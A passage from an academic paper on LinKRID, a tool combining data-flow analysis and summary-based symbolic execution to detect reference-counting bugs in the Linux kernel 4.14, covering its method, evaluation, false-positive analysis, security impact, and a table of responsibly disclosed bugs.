happen in two scenarios: (1) when a globally-visible variable
that already holds a reference is overwritten, either by another
reference or a constant like NULL; and (2) when a globally-
visible variable that holds a reference is freed. Therefore, we
can track the changes to the number of live references by
tracking writes to non-local variables and frees.

RULE 1 Reference change through global variables or dy-
namically allocated memory. When a local reference is as-
signed to a globally-visible object, this reference is escaped
and a global reference is created . If a global reference is
overwritten by another reference or NULL, or the object that

Table 1: Summarized kernel APIs that change the number of
live references. * means there are several APIs with the same
name prefix.

Type Functions
Reference Escape list_add*, hlist_add*, idr_alloc
Reference Release list_del*, hlist_del*, idr_remove

contains the reference is freed, then the reference is consid-
ered released.

While most writes and frees can be tracked at the LLVM
IR level, there are a few frequently used kernel APIs that are
not easy to analyze (e.g., due to the use of assembly code for
atomic operations and memory barriers). For example, list_-
add() can be used to add a refcounted object into a double-
linked list, implying an escape of the reference. Similarly,
list_del() can be used to remove a live reference to a
refcounted object from a double-linked list, implying a release
of the reference. To handle these APIs, we manually collected
and summarized their effects (Table 1).

RULE 2 Reference change through reference wrappers.
When APIs listed in Table 1 are invoked, reference changes
should be updated according to our modeling.
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5.1.2 Tracking Refcount Changes

LinKRID tracks refcount changes by tracing invocations of re-
fcount wrappers (§4.1). While this solution is straightforward
and effective, some refcount wrappers will not always process
successfully. When these refcount wrappers fail, they return
specific values (e.g., a NULL pointer) to inform their callers.
For example, the wrapper kref_get_unless_zero() will
not increase the refcount when the current refcount is 0, and
will return 0 to indicate the failure in increment; its caller
should check the return value and handle the error. If we sim-
ply regard an invocation of kref_get_unless_zero() as
an unconditional refcount increment, we will introduce false
positives. Fortunately, the symbolic execution employed in
LinKRID is path-sensitive by design and is therefore capable
of handling successful and erroneous paths. To leverage this
capability, we use symbolic path summary (see §5.2 for more
details) of the wrappers to indicate what return values are
associated with refcount increment (i.e., success) and what
return values indicate errors.

RULE 3 Refcount change through successful refcount-
wapper. When a refcount wrapper successfully operates on a
reference, the reference’s corresponding refcount should be
changed.

5.1.3 Tracking Changes in Asynchronous Methods

Asynchronous mechanisms like work queue and timer are
widely used in the Linux kernel, which imposes additional
challenges in tracking reference and refcount changes. When
a local reference is used as parameters to construct an asyn-
chronous task, the corresponding refcounted object must not
be freed (i.e., its refcount cannot drop to 0) before the asyn-
chronous callback function is invoked. One possible approach
is to consider the reference as escaped when passed to an asyn-
chronous task thus demands a refcount increment. Similarly,
there should be a corresponding refcount decrement inside
the asynchronous callback function, as when the callback
function has finished using the reference, it is no long live.
However, after constructing an asynchronous task, the current
syscall/thread can also decide to wait for the completion of
the task while holding the reference. In this case, the reference
is effectively borrowed to the asynchronous task hence do
not require additional changes to the refcount. To correctly
handle these different cases, we consider callback functions as
invoked synchronously (i.e., as normal function calls) during
our analysis. Specifically, LinKRID analyzes those callback
functions individually and adds their summaries (described
in §5.2) into the current flow chain when encountering an
asynchronous register function like queue_work and mod_-
timer. For the deregister functions like cancel_work and
del_timer, LinKRID will create another path where the
callback function is treated as not being invoked. Because
these register/deregister functions may also fail and return

errors, we use the same as simulation on refcount wrappers
to handle successful and failed cases.

RULE 4 Refcount change through successful asyn-
chronous functions. When an asynchronous callback
function is registers/deregisters successfully, its summary will
be included/removed from the current flow chain.

5.2 Summary-based chain analysis

As highlighted in Figure 1, precise detection of refcount bugs
demands path-sensitive analysis. In this subsection, we de-
scribe how LinKRID use under-constrained symbolic exe-
cution [27] to analyze flow chains symbolically to identify
potential buggy paths. Despite limiting the analysis scope to
a single flow chain (i.e., a local reference scope), there still
could exist many functions invocations along the flow chain
that could cause path explosion. We mitigate this problem
from three aspects. First, we only perform symbolic execu-
tion for functions defined in the same source code file. For
external functions, we assume they will return unconstrained
symbolic values. Second, to avoid repeatedly analyzing the
same function, we propose a lightweight symbolic execution
paradigm by summarizing functions. The summary of a func-
tion encapsulates how references and refcount change under
different execution paths. Finally, we set a maximum of paths
to be explored for each reference.

5.2.1 Path Summary Calculation

Formally, the summary of each path in a function is a 5-tuple.

Sum = (lr,escape,release,∆re f cnt,retval)

where, lr is the local reference that appears in the function.
escape is a set of instructions where lr is propagated to global
references. release is a set of instructions where global refer-
ences that are removed. Based on these two sets, LinKRID can
calculate the ∆#reference of the corresponding refcounted ob-
ject (the left-hand side of the equation as in Definition 1).
Note that we save the instructions corresponding to the es-
cape and release operations instead of numbers to help filter
false positives (e.g., internal references, see §6 for more de-
tails). ∆re f cnt records refcount changes to the corresponding
refcounted object. retval is the path return value. Regarding
the execution path, we only save its return value, which can
influence the control-flow (i.e., path feasibility) of the caller.

To compute path summaries of a function, we run the under-
constrained symbolic execution on the function by maintain-
ing and forking “states” as necessary. Similar to the definition
of summary, a state in the symbolic execution is a 7-tuple that
contains the intermediate result during execution.

State = (ip,con,escape,release,∆re f cnt,vmap,retval)
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Table 2: symbolicexec(func):How instructions are evalu-
ated symbolically.

Instruction Symbolic execution
Case 1. x =uninitial make_symbolic
Case 2. x = u vmap[x] = vmap[u]
Case 3. x = u, where u is local refer-
ence, and x is a global variable or a heap
variable

vmap[x] = vmap[u] and up-
date #escape(vmap[u]) and
#release(vmap[x]) according RULE1

Case 4. if condition, l1, l2
if l1 is taken, cons = cons∧ condition,
otherwise cons = cons∧ (¬condition)

Case 5. call f on local reference u,
where f is a reference-wrapper

update #escape(vmap[u]) or
#release(vmap[u]) according RULE2

Case 6. call f on local reference u,
where f is a refcount-wrapper or asyn-
chronous functions

update ∆re f cnt(vmap[u]) according
RULE3 or RULE4

Case 7. return u ret = vmap[u]

where ip points to the next instruction to be executed. cons
are path constraints. escape, release and ∆refcnt_map are the
same as in the path summary. vmap is a map from variables
to symbolic values. retval is the return value.

Table 2 shows how instructions are executed in an informal
manner. Briefly, cases 3, 5, and 6 are related to rules in §5.1.
Others, including 1, 2, 4, and 7, are how UC-KLEE handles
typical instructions. For example vmap[x] = vmap[u] means
the value of key x in vmap is set to the value of key u in vmap.
Updating the instruction pointer ip is straightforward.

When LinKRID encounters a call instruction, it first checks
whether the target function has summaries or not. If so, its
summaries would be merged into current state; otherwise, this
function would be symbolic analyzed directly. Besides, if a
function calls itself (i.e., recursive invocation), as there are
no summaries for current analyzed function, LinKRID will
only execute the recursion once. In other words, the recursive
depth is limited to one.

The execution will generate a set of new states, each of
which will be executed independently. Each time a return
instruction is executed, a summary is created to record the
reference changes, the refcount changes, and the expression
of the return value from the state and added into the function’s
summaries sums.

5.2.2 Summary-Based Analysis of Flow Chains

To avoid analyzing the same function repeatedly across differ-
ent flow chains, we perform a bottom-up and iterative analysis.
First, we merge all flow chains in the same source code file
to construct the call graph over functions that need to be an-
alyzed. In each iteration, we first put all leaf nodes in the
current call graph (i.e., functions that has no callees to be ana-
lyzed) to a work list. For each function in the work list, we first
check whether it has multiple callers (i.e., involved in multiple
flow chains); if so, we invoke symbolicexec(f), as defined
in Table 2, to compute its summary. Then we checked if it is
an entry function; if so, we will always perform symbolic ex-
ecution with it. For other functions, we simply mark them as
“analyzed” without actually performing symbolic execution.

The reason is that using summaries will inevitably introduce
approximations, which could cause false positives. To mini-
mize the imprecision, we only create summary for functions
that will be invoked multiple times. For functions that is in-
voked only once, they will be analyzed (inter-procedurally)
when generating summaries or when analyzing the entry func-
tions. Once we have finished processing the work list, we
have a new set of leaf nodes as previous set of leaf nodes have
already be analyzed.

Figure 6 III shows which functions need to be summarized
for the flow chains illustrated in §4.2. In this example, the four
flow chains are analyzed together where node1 and node2 are
entry functions; and node5, node7, and node8 are the initial
leaf functions. When walking the call graph from bottom up,
LinKRID will compute summaries for node3 and node4 as
they are invoked by multiple callers (both node1 and node2).
Node5, node6, and node8 will be analyzed when summariz-
ing node3; and node7 will be analyzed when summarizing
node4. Finally, the entry functions are being processed. In
this example, they (node1 and node2) will be analyzed using
summaries from node3 and node4.

6 Bug Detection

Given a flow chain C , when symbolic execution finished, we
can obtain the per-path summary at the end of the local refer-
ence scope (i.e., the outmost caller). Now we check whether
the invariant ∆refcount == #escaped - #released holds. That
is, we will report a potential bug whenever there exists a lo-
cal reference lr in a Sum satisfying the following condition:
(|escapelr|, |releaselr| calculate the number of elements in a
set):

∆re f countlr ̸= |escapelr|− |releaselr|

However, this result does not take into account the internal
reference design pattern mentioned in §2.2 thus may still
result in a substantial number of false positives. In addition,
there are ambiguities in the presence of embedded structures
when associating the refcount change with reference change.
For these reasons, LinKRID treats any detected violations as
only candidates of warnings at this point.

6.1 Identifying Internal References
We first discuss how we address the internal reference prob-
lem. As described in §2.2, fundamentally, internal references
are references that do not need to be refcounted because they
are tracked and released through a separate mechanism. If we
mistakenly require refcount changes for internal references,
we will end up with false alarms. At the moment, LinKRID
handles two internal reference patterns, both of which are
described in §2.2.

The first pattern we handle is the internal references that
are can be viewed as separate/additional references that are
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released automatically when the refcount reaches zero. For
example, in Figure 2, mgr is removed by list_del() when
its refcount is decreased to zero. In other words, LinKRID
analyzes the callback function registered in refcount wrappers
(e.g., kref_put()) to discover such internal references.

The second pattern is a more generalized version of the
first, where internal references may not be released at a spe-
cific known point (e.g., when refcount reaches zero). Instead,
they are released in domain-specific manners. In the example
described in §2.2, the net struct representing network names-
pace can be freed on demand (from a syscall). When such an
object is freed, it will automatically and forcefully free all the
network objects that have a back-pointer to it. Unfortunately,
it can be challenging to identify all possible places where an
internal reference is released. Therefore, we develop a generic
heuristic for this. The idea is simple: when a particular refer-
ence (e.g., a pointer in a struct) is never refcounted anywhere
throughout the kernel, we consider the reference an internal
one. While this does help with reducing false positives, we
find that it will cause some false negatives as well (which
will be discussed in §7.3). Finally, we also note that there are
even more complex internal reference patterns (mixed usage
between internal and external) and we will discuss how they
can be handled in §7.3.

6.2 Determining the Association of Refcount
and Reference Changes

In addition to handling internal references, there is one more
complication regarding the application of the invariant listed
earlier. Specifically, ∆re f countlr, escapelr, and releaselr are
implicitly assumed to operate on the same refcounted object
because they share the same local reference (i.e., belong/point
to the same object). However, in reality, validating this as-
sumption is not always straightforward. As a real example
in the kernel, struct gdm embeds a refcounted struct tty_-
port. The tty_port->kref field can technically represent
the refcount of tty_port. However, due to complex pointer
arithmetics (e.g., container_of), it could be unclear whether
a pointer of type tty_port* actually points to a standalone
tty_port object or a gdm object. Consequently, we may not
be able to associate the refcount with gdm. In practice, if a
local reference of gdm escapes, we may observe the refcount
change is operated through a local reference of tty_port
instead. As a result, we may end up with two false positives.
One is the missing reference count change when a local ref-
erence of gdm escapes. The other is the missing reference
change when the refcount of tty_port is incremented.

Fundamentally, this is an alias analysis problem of embed-
ded structures (i.e., whether two pointers point to the same
memory object), which is known to be hard to solve in the
presence of pointer arithmetic and type casting (e.g., integer
to pointer and pointer to integer). To infer such aliasing and
filter such false positives, we apply the following heuristic:

join_session_keyring path record:
Error Path:
security/keys/process_keys.c L780 , get keyring refcnt +

1 by find_keyring_by_name
security/keys/process_keys.c L781 , if condition is false
security/keys/process_keys.c L791 , if condition is false
security/keys/process_keys.c L794 , if condition is true
...
Summary: <keyring , escape=∅, release=∅, ∆refcnt=1, return=0>
Result : refcnt error in keyring

Figure 7: Example bug report for the erroneous path in Fig-
ure 1.

if two local references (e.g., gdm and tty_port) happen to
trigger two warnings in the same function —one leads to
a missing refcount change and the other leads to a missing
reference change, and one local reference is “embedded” in
another (e.g., tty_port is embedded in gdm), we will then
consider the refcount change of one local reference is actu-
ally associated with the reference change of another. As the
heuristic may also lead to false negatives, we will discuss
possible improvements in handling embedded structures in a
more systematic manner in §7.3.

6.3 Bug Reporting
After the filter of internal reference and the association of
refcountand reference changes, the remain warnings would
be regarded as bugs for further manual verification. Figure 7
shows an example bug report for the erroneous path in Fig-
ure 1. To assist manual verification, the bug report includes
path information (e.g., branch direction) and the detail ref-
count information (e.g., refcount get/put) with corresponding
source code line.

7 Evaluation

LinKRID is implemented based on the static analysis frame-
work from KENALI [31] and symbolic execution engine
KLEE [3, 33]. LinKRID ’s source code contains 3.5k lines
of C++ code and 2.7k line of python code. We applied
LinKRID on the Linux kernel v4.14 release, compiled with
LLVM 3.9 with make defconfig and make allyesconfig,
respectively.

7.1 Basic Statistics
Table 3 shows the experiment statistics in different compila-
tion options. In the static analysis phase, we extracted 85 and
445 refcount embedded structures, 149 and 685 refcount incre-
ment/decrement wrappers in the Linux kernel v4.14 compiled
with defconfig and allyesconfig, respectively. Based on
the above, we extracted 16,155 and 54,731 functions respec-
tively which manipulate those refcounted structures. Further-
more, LinKRID outputs 4,063 and 12,075 flow chains respec-
tively. During symbolic execution phase, we set the maximum
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Table 3: Statistics in experiments

Phase Description Data
defconfig allyesconfig

Static Analysis

refcounted structures 85 445
refcount wrapper 149 685
related functions 16155 54731

flow chains 4063 12075
Symbolic Execution summaries 2964 9419

Bug Detection BUGs 31 118

explored paths mentioned in §5.2 to 1000, LinKRID gener-
ated 2,964 and 9,419 summaries respectively.

We ran our experiments on two virtual machines, both of
which are configured with an Intel Xeon E3-1220 CPU and
32GB RAM. The operating system is Ubuntu 16.04 LTS
x64. Our lightweight static analysis took 1 hour to finish
the analysis of a whole Linux kernel (with allyesconfig).
For symbolic execution, as there is no dependency among
separate flow chains, we run the symbolic execution in 8
different processes in parallel. In this phase, LinKRID took
192 hours to process all the flow chains.

7.2 Detected Bugs
Finally, LinKRID reported in total 209 refcount errors under
allyesconfig. Out of them, we manually confirmed 118 to
be true positives and 31 bugs of them exist under defconfig.
Among the 118, 31 have already been patched in the newer
versions, 87 are previously unknown. For the 87 bugs, we
submitted bug reports to kernel maintainers for verification.
47 of the submitted bugs were confirmed, among which 11
were patched with our patches. More details can be seen
in Table 4. To manually analyze all the bugs, it took two
researchers, a total 72 man-hours. After that, we manually
checked our results against a more recent kernel version v5.10,
and found that 43 of 87 bugs exist in the newer version, which
are marked by ‘*’ in Table 4.

Responsible Disclosure. We have disclosed all the unpatched
vulnerabilities following the guidelines of the Linux commu-
nity1. Among the 43 bugs that still exist in the newer version,
12 bugs have been fixed with patches from us (marked as ‘A’
in Table 4); 11 bugs have been confirmed and we are working
with corresponding maintainers to forge patches (marked as
‘C’ in Table 4); 12 bug reports have been sent to maintainers
and waiting for reply (marked as ‘S’ in Table 4). For the rest
8 bugs (marked as ‘/’ in Table 4), we cannot find the corre-
sponding sustainers in Linux kernel’s MAINTAINERS list; and
the modules, in which bugs were found, are likely deprecated.

We also noticed that almost all these bugs occur in error
handling paths, which is a common issue in the development
of the Linux kernel [14]. The result shows that LinKRID can
detect these buggy paths precisely and effectively. We di-
vide these bugs into two categories based on fix strategies:

1https://www.kernel.org/doc/html/latest/process/
submitting-patches.html

improper refcount changes and improper reference changes.

Improper refcount changes. LinKRID reported 52 new bugs
that are related to improper refcount changes, with two sub-
types: missing refcount decrement (i.e., over-counting) and
redundant refcount decrement (i.e., under-counting). The for-
mer may cause memory leak and is usually fixed by adding a
corresponding refcount decrement. Figure 8 shows a missing
refcount decrement bug fixed by inserting refcount decre-
ment before line 6. The latter may cause use-after-free and
is usually fixed by avoiding the redundant decrement. Fig-
ure 9 depicts a redundant refcount decrement bug, where if
line 7 is executed, the kref_put at line 13 would be a redun-
dant decrement and may cause the object orig_io_req be
freed prematurely when it is still in use. The distribution of
improper refcount changes cause is heavily skewed towards
missing refcount decrement. Our reports showed 50 new bugs
are caused by missing refcount decrement. One explanation
could be that redundant refcount decrement bugs are more
likely to trigger use-after-free, thus are more likely to be cap-
tured during kernel fuzzing when kernel address sanitizer
(KASAN) is enabled.

Improper reference changes. Another typical bug found
by LinKRID is the improper reference changes. All of such
bugs due to missing reference releases. That is, an object’s
refcount is decreased without releasing the reference (e.g., set-
ting the reference to NULL), which may be used somewhere
even after it is freed and cause use-after-free. Such bugs are
usually fixed by releasing the reference to avoid being used
accidentally and erroneously. Figure 10 displays a case where
usb_free_urb is invoked at line 5 without release the refer-
ence at dvb->bulk_urb, which is accessed at line 13 in func-
tion tm6000_stop_stream and caused use-after-free. This is
fixed by assigning a NULL pointer to dvb->bulk_urb after
the refcount decrement.

1 int kobject_rename(struct kobject *kobj, const char *
new_name) {

2 int error = 0;
3 const char *devpath = NULL;
4 kobj = kobject_get(kobj);
5 if (!kobj) return -EINVAL;
6 if (!kobj->parent) return -EINVAL;
7 devpath = kobject_get_path(kobj, GFP_KERNEL);
8 if (!devpath) {
9 error = -ENOMEM;

10 goto out;
11 }
12 out:
13 kobject_put(kobj);
14 return error;
15 }

Figure 8: A missing refcount decrement caused by improper
error handling, which is fixed by adding a refcount decrement
before return.
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1 int bnx2fc_send_rec(struct bnx2fc_cmd *orig_io_req) {
2 struct bnx2fc_els_cb_arg *cb_arg = NULL;
3 int rc;
4 cb_arg = kzalloc(...);
5 if (!cb_arg) {
6 rc = -ENOMEM;
7 goto rec_err;
8 }
9 kref_get(&orig_io_req->refcount);

10 cb_arg->aborted_io_req = orig_io_req;
11 rec_err:
12 if (rc) {
13 kref_put(&orig_io_req->refcount,...);
14 kfree(cb_arg);
15 }
16 return rc;
17 }

Figure 9: A redundant refcount decrement detected by
LinKRID.

1 static int tm6000_start_stream(struct tm6000_core *dev
) {

2 dvb->bulk_urb = usb_alloc_urb(0, GFP_KERNEL);
3 dvb->bulk_urb->transfer_buffer = kzalloc(size,

GFP_KERNEL);
4 if (dvb->bulk_urb->transfer_buffer == NULL) {
5 usb_free_urb(dvb->bulk_urb);
6 return -ENOMEM;
7 }
8 return ret;
9 }

10 static void tm6000_stop_stream(struct tm6000_core *dev
) {

11 struct tm6000_dvb *dvb = dev->dvb;
12 if (dvb->bulk_urb) {
13 usb_kill_urb(dvb->bulk_urb);
14 }
15 }

Figure 10: A missing reference release, which is fixed by
adding a release after refcount decrement.

7.3 False Positives and False Negatives
False Positives. As presented in §7.2, LinKRID has a false
positive rate of 43% ((209 - 118) / 209). Here, we investigate
the root causes and discuss potential solutions.

Non-standard refcount (mixed use of internal and external
reference). Interestingly, we find that some developers may
define their own refcount rules and mix the use of internal and
external reference. For example, The struct fib_lookup_arg
has a pointer member to a refcounted struct fib_rule and a
flag member. The latter dictates whether the former reference
needs to be refcounted. If the Flag is set to FIB_LOOKUP_-
NOREF, the reference change does not need be refcounted,
effectively making it an internal reference. Otherwise, it is
treated as an external reference. Given that our heuristic de-
veloped in §6.1 do not recognize this special pattern of condi-
tional internal references, we will misclassify it as an external
reference (as it does seem to be refcounted sometimes in the
kernel), and hence the false positive. Surprisingly, these cases
contribute to 66% of all false positives.

To properly handle such cases, we will need to model this
special pattern by actively looking for such “flag” members
whose values correlate with the presence or absence of ref-
count changes. For example, if refcount changes always hap-
pen under one value of the flag (but never happen under a
different value) and vice versa, then we will infer that it is a
conditional internal reference.

Out-of-scope reference changes. We find that some warn-
ings of missing reference releases can be false positives. This
is because the reference releases actually do happen (e.g.,
set to NULL) but they happen outside of our local analysis
scope. In other words, the flow chains we construct are based
on the local reference change which may miss a release of
a global reference that happens, for example in the caller of
the functions in the flow chain (after they return). Such cases
account for 18% of the false positives.

To eliminate such false positives, we need to expand the
analysis scope to consider not only the life-scope of local
references but also the life-scope of global references. If we
can track both, we can construct the flow chain by considering
the “union” of the two scopes. However, this can be potentially
expensive and challenging. First of all, we do not know when a
global reference will be released (e.g., set to NULL). In fact, it
may never happen, forcing us to exhaustively traverse the call
graph all the way back to the syscall entry point. Second, since
global references involve heap objects, it can be challenging to
analyze statically, e.g., in terms of alias analysis. Nevertheless,
this is a clear avenue for improvement.

Other causes. Besides the above, false positives can also
arise due to some rarely used programming patterns that we
currently do not recognize. For example, we find sometimes
the refcount wrappers can be in the form of refcount_-
set(refcnt, refcount_read(refcnt) + 1) instead of
refcount_inc(refcnt). Another example is on reference
releases — sometimes developers set a pointer to ~0 instead
of NULL. These cases account for the remaining 16% of the
false positives.

These cases are mostly trivial and can be solved by aug-
menting our modeling of the Linux kernel.

False Negatives. As we mentioned in §6, to avoid excessive
false positives, LinKRID will drop errors it believes to be
caused by internal references. However, it is also possible that
a reference is supposed to be external but the programmers
simply forgot to refcount it — CVE-2016-4805 [24] is such
an example. In such cases, LinKRID will believe a reference
is internal and ignore any warning associated with it. In addi-
tion, LinKRID currently does not verify the correctness of
the internal reference use and thus lead to false negatives as
well. This can happen when developers forget to remove the
internal reference properly when they are supposed to.

A possible solution to the above is to distill more fine-
grained internal reference patterns and check them more pre-
cisely as opposed to using generic heuristics. For example, we
can check whether internal references are correctly removed
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at specific points according to their typical usage patterns. If
not, it is either not an internal reference, or it is a buggy use
of internal reference (we should report both cases).

Another problem is the association of refcount and refer-
ence changes as described in §6.2. Our current solution only
heuristically infers the association in a post-processing man-
ner, which do lead to some false negatives. A more principled
approach would be to adopt a more accurate aliasing anal-
ysis that can handle arbitrary pointer arithmetic and struct
embedding in the Linux kernel.

7.4 Security Impact of Found Bugs

In this subsection, we are interested in understanding the secu-
rity impact of these reported bugs. While it is time-consuming
to triage these bugs, we did randomly sample 22 of the 87 bugs
to analyze their exploitability and understand their security
impact.

Among these 22 bugs, 12 can cause memory leak and 10
can cause UAF. Furthermore, all of the ten UAF cases involve
objects that contain function pointers, indicating that they can
likely lead to control hijacking primitives. In addition, we
evaluate the following metrics of these bugs in terms of their
exploitability: triggering condition (how easy it is to trigger
the bug), reachability of the bug (whether it is possible to
trigger the bug from userspace), and permission requirement
(does it require a special uid or Linux capability). In terms of
triggering conditions, 18 bugs can be triggered only when the
memory allocation fails, 3 of which additionally require ref-
count overflows in order to trigger UAF. We note that there are
indeed prior attacks that successfully exploit vulnerabilities by
exhausting system memory and therefore it is not impossible
to trigger memory allocation failures [34, 39]. However, the
latest Linux kernel has included hardening against refcount
overflows and therefore the 3 overflow cases are unlikely ex-
ploitable [14]. The remaining 3 bugs do not seem to require
any extreme conditions to trigger. In terms of reachability, 6
can be reached from the userspace (i.e., through syscalls) and
all of them happen to be UAF bugs. 10 are not reachable from
userspace. Instead, 9 of them are called upon driver/device
registration or system initialization. 1 of them is reachable
from hardware interrupt. The remaining 6 are unclear. Finally,
in terms of permission requirements, 3 require Linux capa-
bility, e.g., CAP_NET_ADMIN. The detailed breakdown of each
individual bug is presented in Table 5 in appendix. Overall,
we conclude that at least 3 of the UAF bugs are highly ex-
ploitable as they are reachable from userspace, possible to
trigger (do not require refcount overflow), and do not require
any special permission.

To give some examples, Figure 8 shows a bug that can
cause UAF. If it is triggered multiple times, the refcount would
overflow to zero and release the object incorrectly. Figure 9
displays a bug triggered only when memory allocation fails.

8 Related Work

Finding refcount bugs. As mentioned in §1, there are two
categories of research on finding refcount bugs. An intuitional
and rigorous way to detect refcount bugs is to check the ref-
count invariant (i.e., refcount = #(live reference)). Referee [7]
uses compositional model checking to verify the refcount cor-
rectness. It transforms the verification on reference counting
of unbounded resources on unbounded threads to arbitrary
resources on an single thread by assuming that resources are
arranged as an array and uniformly managed with the same
piece of code. Then, Referee symbolically verifies an arbi-
trary resource is accessed under a positive reference count.
CPyChecker [19] is a GCC plug-in that detects the errors
in Python’s native extension modules, including reference
counting errors. Pungi [15] also aims to find refcount errors
in Python’s native extension modules. Both of them rely on
the invariant that, the changes to refcount must matches the
changes to reference number. CPyChecker applied this idea
to a single function without inter-procedure analysis. Pungi
extended it to inter-procedural analysis, used affine abstrac-
tion and analyzed the Static Single Assignment (SSA) form
of programs. In addition, the affine abstraction on some wrap-
pers of python refcount APIs relies on manually constructing.
Naively applying affine abstraction to Linux kernel will face
many challenges such as various refcount APIs and exclu-
sive using contexts. Another method is using heuristics to
find a specific type of refcount bugs. RID [20] uses incon-
sistent path pair (IPP) to detect developer’s misunderstand
of refcount APIs in Linux kernel. Unfortunately, RID could
not find refcount bugs in the common case, like violating of
refcount invariant.

Symbolic execution for bug detection. With the recent ad-
vances in SMT solver, symbolic execution has been widely
applied on detecting bugs in software systems, including
Linux applications [38], embedded firmware [4], Android
applications [37], and the Android framework [17]. However,
a major obstacle that prevents symbolic execution from get-
ting even wider application is the path explosion problem.
Although there are efforts on mitigating the problem, e.g.,
by using methods based on compositionally [9], abstraction
refinement [18], interpolation [5, 10, 11, 21], parallelization
[6, 12, 26, 30, 32], and machine learning [16, 29], path explo-
sion remains a bottleneck in scaling symbolic execution to
larger applications.

Given the code complexity, applying symbolic execution to
analyze the entire OS kernels is challenging. To make trade-
offs between scalability and path coverage, under-constrained
symbolic execution is a promising method for Linux kernel
bugs detection. UC-KLEE [27] employs this method to find
bugs and verifies patches in Linux kernels, specifically to
memory leaks, uses of uninitialized data, and unsanitized uses
of user inputs. DEADLINE [36] applies symbolic execution
to the detection of double-fetch bugs in the Linux kernel.
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9 Conclusion

In this paper, we proposed a scalable and effective approach
to detect refcount bugs in the Linux kernel. Our approach has
two key technical innovations: (1) an inter-procedural data-
flow analysis to construct the local reference lifetime, which
narrows down the analysis to a reasonable scope, thus scaling
expensive analyses to Linux kernel; (2) a summary-based
symbolic execution to provide path-sensitive analysis as well
as avoiding repetitive computation on tracking reference and
refcount changes. Our prototype LinKRID found 87 new
refcount bugs in Linux 4.14, demonstrating the scalable and
effective of our approach.
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1 struct state {
2 refcount_t refcnt;
3 struct hlist_node node;
4 struct state* tunnel;
5 }
6
7 LIST_HEAD(my_list)
8
9 int tunnel_attach_1(struct state *x) {

10 int err = 0;
11 struct state *t;
12
13 t = state_lookup();
14 if (!t) {
15 t = tunnel_create();
16 if (!t) {
17 err = -EINVAL;
18 goto out;
19 }
20 refcount_inc(&t->refcnt);
21 }
22 x->tunnel = t;
23 out:
24 return err;
25 }
26
27 int tunnel_attach_2(struct state *x) {
28 int err = 0;
29 struct state *t;
30
31 t = state_lookup();
32 if (!t) {
33 t = tunnel_create();
34 if (!t) {
35 err = -EINVAL;
36 goto out;
37 }
38 refcount_inc(&t->refcnt);
39 }
40 x->tunnel = t;
41 out:
42 return err;
43 }
44
45 struct state *state_lookup() {
46 return __state_lookup();
47 }

48 struct state *__state_lookup(){
49 struct state *x;
50
51 hlist_for_each_entry(x, my_list, node) {
52 if (cond(x))
53 continue;
54 if (!refcount_inc_not_zero(&x->refcnt))
55 continue;
56 return x;
57 }
58 return NULL;
59 }
60
61 struct state *tunnel_create() {
62 struct state *t;
63
64 t = state_alloc();
65 if (!t)
66 goto out;
67
68 if (init_tunnel(t))
69 goto error;
70 hlist_add(&t->node, my_list);
71 out:
72 return t;
73
74 error:
75 kfree(t);
76 t = NULL;
77 goto out;
78 }
79
80 struct state *state_alloc() {
81 struct state *x = kzalloc(sizeof(struct state),

GFP_ATOMIC);
82 if (x)
83 refcount_set(&x->refcnt, 1);
84 return x;
85 }
86
87 int init_tunnel(struct state* t) {
88 return __init_tunnel(t);
89 }
90
91 int __init_tunnel(struct state* t) {
92 ...
93 }

Figure 11: Running example adapted from real function ipcomp_tunnel_attach and ipcomp6_tunnel_attach in Linux
kernel 4.14.0
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Table 4: List of bugs discovered by our tool in the Linux kernel 4.14, ’*’ means the bug exists(ed) in the Linux kernel version 5.10.
MRD, RRD and MRR indicate bugs cause: missing refcount decrement, redundant refcount decrement and missing reference
release respectively. A - patches from us are accept. C - bug reports are confirmed by developers. S - bug reports are submitted,
waiting for replies. P - bugs are already patched. / - the corresponding module are no longer maintained.

# Function Cause Status # Function Cause Status
1 kobject_rename* MRD A 60 watchdog_cdev_register MRR S
2 amdgpu_cs_process_fence_dep* MRD A 61 bfusb_send_bulk* MRR S
3 ttm_bo_add_move_fence* MRD A 62 nvmet_fc_ls_disconnect* MRR S
4 blk_register_queue* MRD A 63 usbnet_start_xmit* MRR S
5 __blk_mq_register_dev* MRD A 64 fb_open MRR S
6 rpc_clnt_add_xprt* MRD A 65 mcs_net_open MRR S
7 write_parport_reg_nonblock* MRD A 66 vnt_start* MRR S
8 tty_lookup_driver* MRD A 67 pn533_usb_probe MRR S
9 bnx2fc_send_srr* RRD A 68 send_mpa_req MRR S
10 bnx2fc_send_rec* RRD A 69 port100_probe MRR S
11 imon_probe* MRR A 70 bcm203x_probe MRR S
12 airspy_alloc_urbs* MRR A 71 igorplugusb_probe MRR S
13 audit_list_rules_send* MRD C 72 ap_probe* MRR S
14 audit_send_reply* MRD C 73 usb_urb_alloc_bulk_urbs* MRR S
15 radeon_user_framebuffer_create* MRD C 74 usb_urb_alloc_isoc_urbs* MRR S
16 edac_device_register_sysfs_main_kobj MRD C 75 mos7840_open MRR S
17 new_lockspace MRD C 76 lan78xx_tx_bh MRR S
18 acpi_cppc_processor_probe MRD C 77 send_mpa_reject MRR S
19 bond_sysfs_slave_add MRD C 78 gsmld_open MRR S
20 cpuidle_add_state_sysfs MRD C 79 lvs_rh_probe MRR S
21 cpuidle_add_sysfs MRD C 80 edd_device_register* MRD /
22 cpuidle_add_driver_sysfs MRD C 81 dn_nsp_rx_packet* MRD /
23 dmi_system_event_log* MRD C 82 cx231xx_init_audio_bulk* MRR /
24 dmi_sysfs_register_handle MRD C 83 i2400mu_notification_setup* MRR /
25 esre_create_sysfs_entry MRD C 84 submit_urbs* MRR /
26 fw_cfg_register_file MRD C 85 usb_isoc_urb_init* MRR /
27 cm_create_port_fs* MRD C 86 cx231xx_init_audio_isoc* MRR /
28 add_port* MRD C 87 usb_bulk_urb_init* MRR /
29 add_port(different from above) MRD C 88 brcmf_usbdev_qinit MRR P
30 iommu_group_alloc MRD C 89 x25_connect MRR P
31 cxl_sysfs_afu_new_cr MRD C 90 tm6000_start_stream MRR P
32 pci_create_slot MRD C 91 z3fold_reclaim_page MRD P
33 iscsi_boot_create_kobj MRD C 92 cacheinfo_create_index_dir MRD P
34 add_mdev_supported_type MRD C 93 ext4_init_sysfs MRD P
35 create_space_info MRD C 94 ext4_register_sysfs MRD P
36 qib_create_port_files MRD C 95 gfs2_sys_fs_add MRD P
37 pdcs_register_pathentries MRD C 96 cifs_writev_requeue MRD P
38 mei_me_cl_rm_by_uuid MRD C 97 nfs_file_direct_write MRD P
39 mei_me_cl_rm_by_uuid_id MRD C 98 nfs_file_direct_read MRD P
